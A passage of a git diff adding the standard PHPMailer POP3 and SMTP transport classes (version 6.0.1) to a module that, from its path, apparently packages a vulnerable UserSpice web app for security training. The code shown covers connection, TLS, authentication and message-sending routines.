function connect($host, $port = false, $tval = 30) + { + // Are we already connected? + if ($this->connected) { + return true; + } + + //On Windows this will raise a PHP Warning error if the hostname doesn't exist. + //Rather than suppress it with @fsockopen, capture it cleanly instead + set_error_handler([$this, 'catchWarning']); + + if (false === $port) { + $port = static::DEFAULT_PORT; + } + + // connect to the POP3 server + $this->pop_conn = fsockopen( + $host, // POP3 Host + $port, // Port # + $errno, // Error Number + $errstr, // Error Message + $tval + ); // Timeout (seconds) + // Restore the error handler + restore_error_handler(); + + // Did we connect? + if (false === $this->pop_conn) { + // It would appear not... + $this->setError( + "Failed to connect to server $host on port $port. errno: $errno; errstr: $errstr" + ); + + return false; + } + + // Increase the stream time-out + stream_set_timeout($this->pop_conn, $tval, 0); + + // Get the POP3 server response + $pop3_response = $this->getResponse(); + // Check for the +OK + if ($this->checkResponse($pop3_response)) { + // The connection is established and the POP3 server is talking + $this->connected = true; + + return true; + } + + return false; + } + + /** + * Log in to the POP3 server. + * Does not support APOP (RFC 2828, 4949). + * + * @param string $username + * @param string $password + * + * @return bool + */ + public function login($username = '', $password = '') + { + if (!$this->connected) { + $this->setError('Not connected to POP3 server'); + } + if (empty($username)) { + $username = $this->username; + } + if (empty($password)) { + $password = $this->password; + } + + // Send the Username + $this->sendString("USER $username" . static::LE); + $pop3_response = $this->getResponse(); + if ($this->checkResponse($pop3_response)) { + // Send the Password + $this->sendString("PASS $password" . static::LE); + $pop3_response = $this->getResponse(); + if ($this->checkResponse($pop3_response)) { + return true; + } + } + + return false; + } + + /** + * Disconnect from the POP3 server. + */ + public function disconnect() + { + $this->sendString('QUIT'); + //The QUIT command may cause the daemon to exit, which will kill our connection + //So ignore errors here + try { + @fclose($this->pop_conn); + } catch (Exception $e) { + //Do nothing + } + } + + /** + * Get a response from the POP3 server. + * + * @param int $size The maximum number of bytes to retrieve + * + * @return string + */ + protected function getResponse($size = 128) + { + $response = fgets($this->pop_conn, $size); + if ($this->do_debug >= 1) { + echo 'Server -> Client: ', $response; + } + + return $response; + } + + /** + * Send raw data to the POP3 server. + * + * @param string $string + * + * @return int + */ + protected function sendString($string) + { + if ($this->pop_conn) { + if ($this->do_debug >= 2) { //Show client messages when debug >= 2 + echo 'Client -> Server: ', $string; + } + + return fwrite($this->pop_conn, $string, strlen($string)); + } + + return 0; + } + + /** + * Checks the POP3 server response. + * Looks for for +OK or -ERR. + * + * @param string $string + * + * @return bool + */ + protected function checkResponse($string) + { + if (substr($string, 0, 3) !== '+OK') { + $this->setError("Server reported an error: $string"); + + return false; + } + + return true; + } + + /** + * Add an error to the internal error store. + * Also display debug output if it's enabled. + * + * @param string $error + */ + protected function setError($error) + { + $this->errors[] = $error; + if ($this->do_debug >= 1) { + echo '
    ';
    +            foreach ($this->errors as $error) {
    +                print_r($error);
    +            }
    +            echo '
    '; + } + } + + /** + * Get an array of error messages, if any. + * + * @return array + */ + public function getErrors() + { + return $this->errors; + } + + /** + * POP3 connection error handler. + * + * @param int $errno + * @param string $errstr + * @param string $errfile + * @param int $errline + */ + protected function catchWarning($errno, $errstr, $errfile, $errline) + { + $this->setError( + 'Connecting to the POP3 server raised a PHP warning:' . + "errno: $errno errstr: $errstr; errfile: $errfile; errline: $errline" + ); + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/SMTP.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/SMTP.php new file mode 100644 index 000000000..10e3d6fe6 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/SMTP.php @@ -0,0 +1,1316 @@ + + * @author Jim Jagielski (jimjag) + * @author Andy Prevost (codeworxtech) + * @author Brent R. Matzelle (original founder) + * @copyright 2012 - 2017 Marcus Bointon + * @copyright 2010 - 2012 Jim Jagielski + * @copyright 2004 - 2009 Andy Prevost + * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License + * @note This program is distributed in the hope that it will be useful - WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. + */ + +namespace PHPMailer\PHPMailer; + +/** + * PHPMailer RFC821 SMTP email transport class. + * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server. + * + * @author Chris Ryan + * @author Marcus Bointon + */ +class SMTP +{ + /** + * The PHPMailer SMTP version number. + * + * @var string + */ + const VERSION = '6.0.1'; + + /** + * SMTP line break constant. + * + * @var string + */ + const LE = "\r\n"; + + /** + * The SMTP port to use if one is not specified. + * + * @var int + */ + const DEFAULT_PORT = 25; + + /** + * The maximum line length allowed by RFC 2822 section 2.1.1. + * + * @var int + */ + const MAX_LINE_LENGTH = 998; + + /** + * Debug level for no output. + */ + const DEBUG_OFF = 0; + + /** + * Debug level to show client -> server messages. + */ + const DEBUG_CLIENT = 1; + + /** + * Debug level to show client -> server and server -> client messages. + */ + const DEBUG_SERVER = 2; + + /** + * Debug level to show connection status, client -> server and server -> client messages. + */ + const DEBUG_CONNECTION = 3; + + /** + * Debug level to show all messages. + */ + const DEBUG_LOWLEVEL = 4; + + /** + * Debug output level. + * Options: + * * self::DEBUG_OFF (`0`) No debug output, default + * * self::DEBUG_CLIENT (`1`) Client commands + * * self::DEBUG_SERVER (`2`) Client commands and server responses + * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status + * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages. + * + * @var int + */ + public $do_debug = self::DEBUG_OFF; + + /** + * How to handle debug output. + * Options: + * * `echo` Output plain-text as-is, appropriate for CLI + * * `html` Output escaped, line breaks converted to `
    `, appropriate for browser output + * * `error_log` Output to error log as configured in php.ini + * Alternatively, you can provide a callable expecting two params: a message string and the debug level: + * + * ```php + * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; + * ``` + * + * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug` + * level output is used: + * + * ```php + * $mail->Debugoutput = new myPsr3Logger; + * ``` + * + * @var string|callable|\Psr\Log\LoggerInterface + */ + public $Debugoutput = 'echo'; + + /** + * Whether to use VERP. + * + * @see http://en.wikipedia.org/wiki/Variable_envelope_return_path + * @see http://www.postfix.org/VERP_README.html Info on VERP + * + * @var bool + */ + public $do_verp = false; + + /** + * The timeout value for connection, in seconds. + * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. + * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure. + * + * @see http://tools.ietf.org/html/rfc2821#section-4.5.3.2 + * + * @var int + */ + public $Timeout = 300; + + /** + * How long to wait for commands to complete, in seconds. + * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. + * + * @var int + */ + public $Timelimit = 300; + + /** + * Patterns to extract an SMTP transaction id from reply to a DATA command. + * The first capture group in each regex will be used as the ID. + * MS ESMTP returns the message ID, which may not be correct for internal tracking. + * + * @var string[] + */ + protected $smtp_transaction_id_patterns = [ + 'exim' => '/[0-9]{3} OK id=(.*)/', + 'sendmail' => '/[0-9]{3} 2.0.0 (.*) Message/', + 'postfix' => '/[0-9]{3} 2.0.0 Ok: queued as (.*)/', + 'Microsoft_ESMTP' => '/[0-9]{3} 2.[0-9].0 (.*)@(?:.*) Queued mail for delivery/', + 'Amazon_SES' => '/[0-9]{3} Ok (.*)/', + ]; + + /** + * The last transaction ID issued in response to a DATA command, + * if one was detected. + * + * @var string|bool|null + */ + protected $last_smtp_transaction_id; + + /** + * The socket for the server connection. + * + * @var ?resource + */ + protected $smtp_conn; + + /** + * Error information, if any, for the last SMTP command. + * + * @var array + */ + protected $error = [ + 'error' => '', + 'detail' => '', + 'smtp_code' => '', + 'smtp_code_ex' => '', + ]; + + /** + * The reply the server sent to us for HELO. + * If null, no HELO string has yet been received. + * + * @var string|null + */ + protected $helo_rply = null; + + /** + * The set of SMTP extensions sent in reply to EHLO command. + * Indexes of the array are extension names. + * Value at index 'HELO' or 'EHLO' (according to command that was sent) + * represents the server name. In case of HELO it is the only element of the array. + * Other values can be boolean TRUE or an array containing extension options. + * If null, no HELO/EHLO string has yet been received. + * + * @var array|null + */ + protected $server_caps = null; + + /** + * The most recent reply received from the server. + * + * @var string + */ + protected $last_reply = ''; + + /** + * Output debugging info via a user-selected method. + * + * @param string $str Debug string to output + * @param int $level The debug level of this message; see DEBUG_* constants + * + * @see SMTP::$Debugoutput + * @see SMTP::$do_debug + */ + protected function edebug($str, $level = 0) + { + if ($level > $this->do_debug) { + return; + } + //Is this a PSR-3 logger? + if (is_a($this->Debugoutput, 'Psr\Log\LoggerInterface')) { + $this->Debugoutput->debug($str); + + return; + } + //Avoid clash with built-in function names + if (!in_array($this->Debugoutput, ['error_log', 'html', 'echo']) and is_callable($this->Debugoutput)) { + call_user_func($this->Debugoutput, $str, $level); + + return; + } + switch ($this->Debugoutput) { + case 'error_log': + //Don't output, just log + error_log($str); + break; + case 'html': + //Cleans up output a bit for a better looking, HTML-safe output + echo gmdate('Y-m-d H:i:s'), ' ', htmlentities( + preg_replace('/[\r\n]+/', '', $str), + ENT_QUOTES, + 'UTF-8' + ), "
    \n"; + break; + case 'echo': + default: + //Normalize line breaks + $str = preg_replace('/\r\n|\r/ms', "\n", $str); + echo gmdate('Y-m-d H:i:s'), + "\t", + //Trim trailing space + trim( + //Indent for readability, except for trailing break + str_replace( + "\n", + "\n \t ", + trim($str) + ) + ), + "\n"; + } + } + + /** + * Connect to an SMTP server. + * + * @param string $host SMTP server IP or host name + * @param int $port The port number to connect to + * @param int $timeout How long to wait for the connection to open + * @param array $options An array of options for stream_context_create() + * + * @return bool + */ + public function connect($host, $port = null, $timeout = 30, $options = []) + { + static $streamok; + //This is enabled by default since 5.0.0 but some providers disable it + //Check this once and cache the result + if (null === $streamok) { + $streamok = function_exists('stream_socket_client'); + } + // Clear errors to avoid confusion + $this->setError(''); + // Make sure we are __not__ connected + if ($this->connected()) { + // Already connected, generate error + $this->setError('Already connected to a server'); + + return false; + } + if (empty($port)) { + $port = self::DEFAULT_PORT; + } + // Connect to the SMTP server + $this->edebug( + "Connection: opening to $host:$port, timeout=$timeout, options=" . + (count($options) > 0 ? var_export($options, true) : 'array()'), + self::DEBUG_CONNECTION + ); + $errno = 0; + $errstr = ''; + if ($streamok) { + $socket_context = stream_context_create($options); + set_error_handler([$this, 'errorHandler']); + $this->smtp_conn = stream_socket_client( + $host . ':' . $port, + $errno, + $errstr, + $timeout, + STREAM_CLIENT_CONNECT, + $socket_context + ); + restore_error_handler(); + } else { + //Fall back to fsockopen which should work in more places, but is missing some features + $this->edebug( + 'Connection: stream_socket_client not available, falling back to fsockopen', + self::DEBUG_CONNECTION + ); + set_error_handler([$this, 'errorHandler']); + $this->smtp_conn = fsockopen( + $host, + $port, + $errno, + $errstr, + $timeout + ); + restore_error_handler(); + } + // Verify we connected properly + if (!is_resource($this->smtp_conn)) { + $this->setError( + 'Failed to connect to server', + '', + (string) $errno, + (string) $errstr + ); + $this->edebug( + 'SMTP ERROR: ' . $this->error['error'] + . ": $errstr ($errno)", + self::DEBUG_CLIENT + ); + + return false; + } + $this->edebug('Connection: opened', self::DEBUG_CONNECTION); + // SMTP server can take longer to respond, give longer timeout for first read + // Windows does not have support for this timeout function + if (substr(PHP_OS, 0, 3) != 'WIN') { + $max = ini_get('max_execution_time'); + // Don't bother if unlimited + if (0 != $max and $timeout > $max) { + @set_time_limit($timeout); + } + stream_set_timeout($this->smtp_conn, $timeout, 0); + } + // Get any announcement + $announce = $this->get_lines(); + $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER); + + return true; + } + + /** + * Initiate a TLS (encrypted) session. + * + * @return bool + */ + public function startTLS() + { + if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { + return false; + } + + //Allow the best TLS version(s) we can + $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT; + + //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT + //so add them back in manually if we can + if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) { + $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; + $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; + } + + // Begin encrypted connection + set_error_handler([$this, 'errorHandler']); + $crypto_ok = stream_socket_enable_crypto( + $this->smtp_conn, + true, + $crypto_method + ); + restore_error_handler(); + + return (bool) $crypto_ok; + } + + /** + * Perform SMTP authentication. + * Must be run after hello(). + * + * @see hello() + * + * @param string $username The user name + * @param string $password The password + * @param string $authtype The auth type (CRAM-MD5, PLAIN, LOGIN, XOAUTH2) + * @param OAuth $OAuth An optional OAuth instance for XOAUTH2 authentication + * + * @return bool True if successfully authenticated + */ + public function authenticate( + $username, + $password, + $authtype = null, + $OAuth = null + ) { + if (!$this->server_caps) { + $this->setError('Authentication is not allowed before HELO/EHLO'); + + return false; + } + + if (array_key_exists('EHLO', $this->server_caps)) { + // SMTP extensions are available; try to find a proper authentication method + if (!array_key_exists('AUTH', $this->server_caps)) { + $this->setError('Authentication is not allowed at this stage'); + // 'at this stage' means that auth may be allowed after the stage changes + // e.g. after STARTTLS + + return false; + } + + $this->edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL); + $this->edebug( + 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), + self::DEBUG_LOWLEVEL + ); + + //If we have requested a specific auth type, check the server supports it before trying others + if (!in_array($authtype, $this->server_caps['AUTH'])) { + $this->edebug('Requested auth method not available: ' . $authtype, self::DEBUG_LOWLEVEL); + $authtype = null; + } + + if (empty($authtype)) { + //If no auth mechanism is specified, attempt to use these, in this order + //Try CRAM-MD5 first as it's more secure than the others + foreach (['CRAM-MD5', 'LOGIN', 'PLAIN', 'XOAUTH2'] as $method) { + if (in_array($method, $this->server_caps['AUTH'])) { + $authtype = $method; + break; + } + } + if (empty($authtype)) { + $this->setError('No supported authentication methods found'); + + return false; + } + self::edebug('Auth method selected: ' . $authtype, self::DEBUG_LOWLEVEL); + } + + if (!in_array($authtype, $this->server_caps['AUTH'])) { + $this->setError("The requested authentication method \"$authtype\" is not supported by the server"); + + return false; + } + } elseif (empty($authtype)) { + $authtype = 'LOGIN'; + } + switch ($authtype) { + case 'PLAIN': + // Start authentication + if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) { + return false; + } + // Send encoded username and password + if (!$this->sendCommand( + 'User & Password', + base64_encode("\0" . $username . "\0" . $password), + 235 + ) + ) { + return false; + } + break; + case 'LOGIN': + // Start authentication + if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) { + return false; + } + if (!$this->sendCommand('Username', base64_encode($username), 334)) { + return false; + } + if (!$this->sendCommand('Password', base64_encode($password), 235)) { + return false; + } + break; + case 'CRAM-MD5': + // Start authentication + if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) { + return false; + } + // Get the challenge + $challenge = base64_decode(substr($this->last_reply, 4)); + + // Build the response + $response = $username . ' ' . $this->hmac($challenge, $password); + + // send encoded credentials + return $this->sendCommand('Username', base64_encode($response), 235); + case 'XOAUTH2': + //The OAuth instance must be set up prior to requesting auth. + if (null === $OAuth) { + return false; + } + $oauth = $OAuth->getOauth64(); + + // Start authentication + if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) { + return false; + } + break; + default: + $this->setError("Authentication method \"$authtype\" is not supported"); + + return false; + } + + return true; + } + + /** + * Calculate an MD5 HMAC hash. + * Works like hash_hmac('md5', $data, $key) + * in case that function is not available. + * + * @param string $data The data to hash + * @param string $key The key to hash with + * + * @return string + */ + protected function hmac($data, $key) + { + if (function_exists('hash_hmac')) { + return hash_hmac('md5', $data, $key); + } + + // The following borrowed from + // http://php.net/manual/en/function.mhash.php#27225 + + // RFC 2104 HMAC implementation for php. + // Creates an md5 HMAC. + // Eliminates the need to install mhash to compute a HMAC + // by Lance Rushing + + $bytelen = 64; // byte length for md5 + if (strlen($key) > $bytelen) { + $key = pack('H*', md5($key)); + } + $key = str_pad($key, $bytelen, chr(0x00)); + $ipad = str_pad('', $bytelen, chr(0x36)); + $opad = str_pad('', $bytelen, chr(0x5c)); + $k_ipad = $key ^ $ipad; + $k_opad = $key ^ $opad; + + return md5($k_opad . pack('H*', md5($k_ipad . $data))); + } + + /** + * Check connection state. + * + * @return bool True if connected + */ + public function connected() + { + if (is_resource($this->smtp_conn)) { + $sock_status = stream_get_meta_data($this->smtp_conn); + if ($sock_status['eof']) { + // The socket is valid but we are not connected + $this->edebug( + 'SMTP NOTICE: EOF caught while checking if connected', + self::DEBUG_CLIENT + ); + $this->close(); + + return false; + } + + return true; // everything looks good + } + + return false; + } + + /** + * Close the socket and clean up the state of the class. + * Don't use this function without first trying to use QUIT. + * + * @see quit() + */ + public function close() + { + $this->setError(''); + $this->server_caps = null; + $this->helo_rply = null; + if (is_resource($this->smtp_conn)) { + // close the connection and cleanup + fclose($this->smtp_conn); + $this->smtp_conn = null; //Makes for cleaner serialization + $this->edebug('Connection: closed', self::DEBUG_CONNECTION); + } + } + + /** + * Send an SMTP DATA command. + * Issues a data command and sends the msg_data to the server, + * finializing the mail transaction. $msg_data is the message + * that is to be send with the headers. Each header needs to be + * on a single line followed by a with the message headers + * and the message body being separated by an additional . + * Implements RFC 821: DATA . + * + * @param string $msg_data Message data to send + * + * @return bool + */ + public function data($msg_data) + { + //This will use the standard timelimit + if (!$this->sendCommand('DATA', 'DATA', 354)) { + return false; + } + + /* The server is ready to accept data! + * According to rfc821 we should not send more than 1000 characters on a single line (including the LE) + * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into + * smaller lines to fit within the limit. + * We will also look for lines that start with a '.' and prepend an additional '.'. + * NOTE: this does not count towards line-length limit. + */ + + // Normalize line breaks before exploding + $lines = explode("\n", str_replace(["\r\n", "\r"], "\n", $msg_data)); + + /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field + * of the first line (':' separated) does not contain a space then it _should_ be a header and we will + * process all lines before a blank line as headers. + */ + + $field = substr($lines[0], 0, strpos($lines[0], ':')); + $in_headers = false; + if (!empty($field) and strpos($field, ' ') === false) { + $in_headers = true; + } + + foreach ($lines as $line) { + $lines_out = []; + if ($in_headers and $line == '') { + $in_headers = false; + } + //Break this line up into several smaller lines if it's too long + //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len), + while (isset($line[self::MAX_LINE_LENGTH])) { + //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on + //so as to avoid breaking in the middle of a word + $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' '); + //Deliberately matches both false and 0 + if (!$pos) { + //No nice break found, add a hard break + $pos = self::MAX_LINE_LENGTH - 1; + $lines_out[] = substr($line, 0, $pos); + $line = substr($line, $pos); + } else { + //Break at the found point + $lines_out[] = substr($line, 0, $pos); + //Move along by the amount we dealt with + $line = substr($line, $pos + 1); + } + //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1 + if ($in_headers) { + $line = "\t" . $line; + } + } + $lines_out[] = $line; + + //Send the lines to the server + foreach ($lines_out as $line_out) { + //RFC2821 section 4.5.2 + if (!empty($line_out) and $line_out[0] == '.') { + $line_out = '.' . $line_out; + } + $this->client_send($line_out . static::LE); + } + } + + //Message data has been sent, complete the command + //Increase timelimit for end of DATA command + $savetimelimit = $this->Timelimit; + $this->Timelimit = $this->Timelimit * 2; + $result = $this->sendCommand('DATA END', '.', 250); + $this->recordLastTransactionID(); + //Restore timelimit + $this->Timelimit = $savetimelimit; + + return $result; + } + + /** + * Send an SMTP HELO or EHLO command. + * Used to identify the sending server to the receiving server. + * This makes sure that client and server are in a known state. + * Implements RFC 821: HELO + * and RFC 2821 EHLO. + * + * @param string $host The host name or IP to connect to + * + * @return bool + */ + public function hello($host = '') + { + //Try extended hello first (RFC 2821) + return (bool) ($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host)); + } + + /** + * Send an SMTP HELO or EHLO command. + * Low-level implementation used by hello(). + * + * @param string $hello The HELO string + * @param string $host The hostname to say we are + * + * @return bool + * + * @see hello() + */ + protected function sendHello($hello, $host) + { + $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250); + $this->helo_rply = $this->last_reply; + if ($noerror) { + $this->parseHelloFields($hello); + } else { + $this->server_caps = null; + } + + return $noerror; + } + + /** + * Parse a reply to HELO/EHLO command to discover server extensions. + * In case of HELO, the only parameter that can be discovered is a server name. + * + * @param string $type `HELO` or `EHLO` + */ + protected function parseHelloFields($type) + { + $this->server_caps = []; + $lines = explode("\n", $this->helo_rply); + + foreach ($lines as $n => $s) { + //First 4 chars contain response code followed by - or space + $s = trim(substr($s, 4)); + if (empty($s)) { + continue; + } + $fields = explode(' ', $s); + if (!empty($fields)) { + if (!$n) { + $name = $type; + $fields = $fields[0]; + } else { + $name = array_shift($fields); + switch ($name) { + case 'SIZE': + $fields = ($fields ? $fields[0] : 0); + break; + case 'AUTH': + if (!is_array($fields)) { + $fields = []; + } + break; + default: + $fields = true; + } + } + $this->server_caps[$name] = $fields; + } + } + } + + /** + * Send an SMTP MAIL command. + * Starts a mail transaction from the email address specified in + * $from. Returns true if successful or false otherwise. If True + * the mail transaction is started and then one or more recipient + * commands may be called followed by a data command. + * Implements RFC 821: MAIL FROM: . + * + * @param string $from Source address of this message + * + * @return bool + */ + public function mail($from) + { + $useVerp = ($this->do_verp ? ' XVERP' : ''); + + return $this->sendCommand( + 'MAIL FROM', + 'MAIL FROM:<' . $from . '>' . $useVerp, + 250 + ); + } + + /** + * Send an SMTP QUIT command. + * Closes the socket if there is no error or the $close_on_error argument is true. + * Implements from RFC 821: QUIT . + * + * @param bool $close_on_error Should the connection close if an error occurs? + * + * @return bool + */ + public function quit($close_on_error = true) + { + $noerror = $this->sendCommand('QUIT', 'QUIT', 221); + $err = $this->error; //Save any error + if ($noerror or $close_on_error) { + $this->close(); + $this->error = $err; //Restore any error from the quit command + } + + return $noerror; + } + + /** + * Send an SMTP RCPT command. + * Sets the TO argument to $toaddr. + * Returns true if the recipient was accepted false if it was rejected. + * Implements from RFC 821: RCPT TO: . + * + * @param string $address The address the message is being sent to + * + * @return bool + */ + public function recipient($address) + { + return $this->sendCommand( + 'RCPT TO', + 'RCPT TO:<' . $address . '>', + [250, 251] + ); + } + + /** + * Send an SMTP RSET command. + * Abort any transaction that is currently in progress. + * Implements RFC 821: RSET . + * + * @return bool True on success + */ + public function reset() + { + return $this->sendCommand('RSET', 'RSET', 250); + } + + /** + * Send a command to an SMTP server and check its return code. + * + * @param string $command The command name - not sent to the server + * @param string $commandstring The actual command to send + * @param int|array $expect One or more expected integer success codes + * + * @return bool True on success + */ + protected function sendCommand($command, $commandstring, $expect) + { + if (!$this->connected()) { + $this->setError("Called $command without being connected"); + + return false; + } + //Reject line breaks in all commands + if (strpos($commandstring, "\n") !== false or strpos($commandstring, "\r") !== false) { + $this->setError("Command '$command' contained line breaks"); + + return false; + } + $this->client_send($commandstring . static::LE); + + $this->last_reply = $this->get_lines(); + // Fetch SMTP code and possible error code explanation + $matches = []; + if (preg_match('/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/', $this->last_reply, $matches)) { + $code = $matches[1]; + $code_ex = (count($matches) > 2 ? $matches[2] : null); + // Cut off error code from each response line + $detail = preg_replace( + "/{$code}[ -]" . + ($code_ex ? str_replace('.', '\\.', $code_ex) . ' ' : '') . '/m', + '', + $this->last_reply + ); + } else { + // Fall back to simple parsing if regex fails + $code = substr($this->last_reply, 0, 3); + $code_ex = null; + $detail = substr($this->last_reply, 4); + } + + $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); + + if (!in_array($code, (array) $expect)) { + $this->setError( + "$command command failed", + $detail, + $code, + $code_ex + ); + $this->edebug( + 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, + self::DEBUG_CLIENT + ); + + return false; + } + + $this->setError(''); + + return true; + } + + /** + * Send an SMTP SAML command. + * Starts a mail transaction from the email address specified in $from. + * Returns true if successful or false otherwise. If True + * the mail transaction is started and then one or more recipient + * commands may be called followed by a data command. This command + * will send the message to the users terminal if they are logged + * in and send them an email. + * Implements RFC 821: SAML FROM: . + * + * @param string $from The address the message is from + * + * @return bool + */ + public function sendAndMail($from) + { + return $this->sendCommand('SAML', "SAML FROM:$from", 250); + } + + /** + * Send an SMTP VRFY command. + * + * @param string $name The name to verify + * + * @return bool + */ + public function verify($name) + { + return $this->sendCommand('VRFY', "VRFY $name", [250, 251]); + } + + /** + * Send an SMTP NOOP command. + * Used to keep keep-alives alive, doesn't actually do anything. + * + * @return bool + */ + public function noop() + { + return $this->sendCommand('NOOP', 'NOOP', 250); + } + + /** + * Send an SMTP TURN command. + * This is an optional command for SMTP that this class does not support. + * This method is here to make the RFC821 Definition complete for this class + * and _may_ be implemented in future. + * Implements from RFC 821: TURN . + * + * @return bool + */ + public function turn() + { + $this->setError('The SMTP TURN command is not implemented'); + $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT); + + return false; + } + + /** + * Send raw data to the server. + * + * @param string $data The data to send + * + * @return int|bool The number of bytes sent to the server or false on error + */ + public function client_send($data) + { + $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT); + set_error_handler([$this, 'errorHandler']); + $result = fwrite($this->smtp_conn, $data); + restore_error_handler(); + + return $result; + } + + /** + * Get the latest error. + * + * @return array + */ + public function getError() + { + return $this->error; + } + + /** + * Get SMTP extensions available on the server. + * + * @return array|null + */ + public function getServerExtList() + { + return $this->server_caps; + } + + /** + * Get metadata about the SMTP server from its HELO/EHLO response. + * The method works in three ways, dependent on argument value and current state: + * 1. HELO/EHLO has not been sent - returns null and populates $this->error. + * 2. HELO has been sent - + * $name == 'HELO': returns server name + * $name == 'EHLO': returns boolean false + * $name == any other string: returns null and populates $this->error + * 3. EHLO has been sent - + * $name == 'HELO'|'EHLO': returns the server name + * $name == any other string: if extension $name exists, returns True + * or its options (e.g. AUTH mechanisms supported). Otherwise returns False. + * + * @param string $name Name of SMTP extension or 'HELO'|'EHLO' + * + * @return mixed + */ + public function getServerExt($name) + { + if (!$this->server_caps) { + $this->setError('No HELO/EHLO was sent'); + + return; + } + + if (!array_key_exists($name, $this->server_caps)) { + if ('HELO' == $name) { + return $this->server_caps['EHLO']; + } + if ('EHLO' == $name || array_key_exists('EHLO', $this->server_caps)) { + return false; + } + $this->setError('HELO handshake was used; No information about server extensions available'); + + return; + } + + return $this->server_caps[$name]; + } + + /** + * Get the last reply from the server. + * + * @return string + */ + public function getLastReply() + { + return $this->last_reply; + } + + /** + * Read the SMTP server's response. + * Either before eof or socket timeout occurs on the operation. + * With SMTP we can tell if we have more lines to read if the + * 4th character is '-' symbol. If it is a space then we don't + * need to read anything else. + * + * @return string + */ + protected function get_lines() + { + // If the connection is bad, give up straight away + if (!is_resource($this->smtp_conn)) { + return ''; + } + $data = ''; + $endtime = 0; + stream_set_timeout($this->smtp_conn, $this->Timeout); + if ($this->Timelimit > 0) { + $endtime = time() + $this->Timelimit; + } + $selR = [$this->smtp_conn]; + $selW = null; + while (is_resource($this->smtp_conn) and !feof($this->smtp_conn)) { + //Must pass vars in here as params are by reference + if (!stream_select($selR, $selW, $selW, $this->Timelimit)) { + $this->edebug( + 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)', + self::DEBUG_LOWLEVEL + ); + break; + } + //Deliberate noise suppression - errors are handled afterwards + $str = @fgets($this->smtp_conn, 515); + $this->edebug('SMTP INBOUND: "' . trim($str) . '"', self::DEBUG_LOWLEVEL); + $data .= $str; + // If response is only 3 chars (not valid, but RFC5321 S4.2 says it must be handled), + // or 4th character is a space, we are done reading, break the loop, + // string array access is a micro-optimisation over strlen + if (!isset($str[3]) or (isset($str[3]) and $str[3] == ' ')) { + break; + } + // Timed-out? Log and break + $info = stream_get_meta_data($this->smtp_conn); + if ($info['timed_out']) { + $this->edebug( + 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)', + self::DEBUG_LOWLEVEL + ); + break; + } + // Now check if reads took too long + if ($endtime and time() > $endtime) { + $this->edebug( + 'SMTP -> get_lines(): timelimit reached (' . + $this->Timelimit . ' sec)', + self::DEBUG_LOWLEVEL + ); + break; + } + } + + return $data; + } + + /** + * Enable or disable VERP address generation. + * + * @param bool $enabled + */ + public function setVerp($enabled = false) + { + $this->do_verp = $enabled; + } + + /** + * Get VERP address generation mode. + * + * @return bool + */ + public function getVerp() + { + return $this->do_verp; + } + + /** + * Set error messages and codes. + * + * @param string $message The error message + * @param string $detail Further detail on the error + * @param string $smtp_code An associated SMTP error code + * @param string $smtp_code_ex Extended SMTP code + */ + protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') + { + $this->error = [ + 'error' => $message, + 'detail' => $detail, + 'smtp_code' => $smtp_code, + 'smtp_code_ex' => $smtp_code_ex, + ]; + } + + /** + * Set debug output method. + * + * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it + */ + public function setDebugOutput($method = 'echo') + { + $this->Debugoutput = $method; + } + + /** + * Get debug output method. + * + * @return string + */ + public function getDebugOutput() + { + return $this->Debugoutput; + } + + /** + * Set debug output level. + * + * @param int $level + */ + public function setDebugLevel($level = 0) + { + $this->do_debug = $level; + } + + /** + * Get debug output level. + * + * @return int + */ + public function getDebugLevel() + { + return $this->do_debug; + } + + /** + * Set SMTP timeout. + * + * @param int $timeout The timeout duration in seconds + */ + public function setTimeout($timeout = 0) + { + $this->Timeout = $timeout; + } + + 